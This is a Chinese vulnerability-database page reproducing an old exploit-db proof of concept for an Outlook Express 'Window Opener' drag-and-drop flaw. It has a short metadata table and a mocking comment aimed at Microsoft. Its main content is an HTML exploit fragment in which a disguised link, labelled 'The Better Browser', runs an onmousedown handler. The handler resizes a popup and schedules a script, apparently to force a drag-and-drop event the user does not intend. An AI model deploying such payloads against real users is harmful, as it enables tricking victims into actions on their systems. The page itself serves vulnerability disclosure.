Microsoft Outlook Express – Window Opener-安全小百科

Microsoft Outlook Express – Window Opener

漏洞ID	1054519	漏洞类型
发布时间	2004-07-13	更新时间	2004-07-13
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/313

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

Example:

   Alright microsoft. Get your act together. Seriously, this is the 3rd version of this
   vulnerability and we can still cause a drag and drop event.
   Well anyway, to the people that don't design easily exploited software, simply click the link
   on the popup that points to 'The Better Browser' (Hmm, wonder what that could be...) to cause
   a drag and drop event and add it to your favorites. <html> <body> <table width="100%"
   height="100%" border=3><tr><td valign=top> <br><center> Click this link: <a
   href="http://www.mozilla.org/products/firefox/" id=anch
   onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=2000;parent.pop.show(1,1,1,1
   );parent.setTimeout('showalert()',3000);">The <i>Better</i> Browser</a> </td></tr></table>

# milw0rm.com [2004-07-13]

相关推荐: Linux中socks5服务器缓冲区溢出漏洞

Linux中socks5服务器缓冲区溢出漏洞漏洞ID 1206048 漏洞类型缓冲区溢出发布时间 2001-01-09 更新时间 2001-01-09 CVE编号 CVE-2000-1183 CNNVD-ID CNNVD-200101-067 漏洞平台 …

文章版权归作者所有，未经允许请勿转载。

THE END